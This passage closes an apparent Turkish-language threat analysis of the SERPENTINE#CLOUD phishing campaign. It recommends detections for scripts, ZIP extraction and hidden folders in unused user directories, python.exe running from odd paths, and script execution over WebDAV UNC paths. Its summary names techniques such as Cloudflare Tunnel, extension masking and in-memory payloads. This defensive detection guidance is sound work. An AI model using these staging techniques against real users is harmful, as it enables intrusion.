Windows’ta dosya uzantısı görünürlüğünün kapalı tutulması önemli bir risk faktörüdür. Kullanıcı .pdf.exe gibi dosyaları yalnızca .pdf olarak görmektedir. Grup ilkesi veya kullanıcı eğitimi ile bu ayarın açık tutulması, basit ama etkili bir önlem olarak öne çıkmaktadır.

Bu kampanyada dikkat çeken bir husus, payload’ın %USERPROFILE%\Contacts gibi normalde kullanılmayan ancak yazılabilir dizinlere bırakılmasıdır. Bu tür dizinlerde aşağıdaki davranışlar izlenirse erken uyarı üretilebilir:

  • Script (bat, vbs, wsf) çalıştırılması
  • ZIP extraction işlemleri
  • Gizli (attrib +h) klasör oluşturulması

Python gibi meşru araçların anormal path’lerden çalıştırılması önemli bir sinyal niteliği taşımaktadır. Sistem Python kurulumu dışında, kullanıcı dizininden çalışan python.exe süreçleri öncelikli inceleme hedefi olmalıdır.

Son olarak, WebDAV UNC path üzerinden script çalıştırılması (\\host@SSL\DavWWWRoot) normal kullanıcı aktivitesinde neredeyse hiç karşılaşılmayan bir davranıştır. Bu erişimlerin hem network hem endpoint tarafında korelasyonlanması, tespit kalitesini önemli ölçüde artıracaktır.


Sonuç

SERPENTINE#CLOUD, sıradan bir phishing girişiminden çok daha katmanlı bir saldırı zinciri sergilemiştir. Saldırganlar; Cloudflare Tunnel, uzantı maskeleme, bellekte çalışan payload ve çok aşamalı obfuscation gibi teknikleri bir arada kullanarak hem tespiti hem de analizi zorlaştırmayı başarmıştır.

Zincirin başlangıç noktasının hâlâ kullanıcı etkileşimine dayanması, teknik karmaşıklığa rağmen temel güvenlik önlemlerinin belirleyici olduğunu bir kez daha ortaya koymaktadır.

Bu gönderi CC BY 4.0 lisansı altındadır.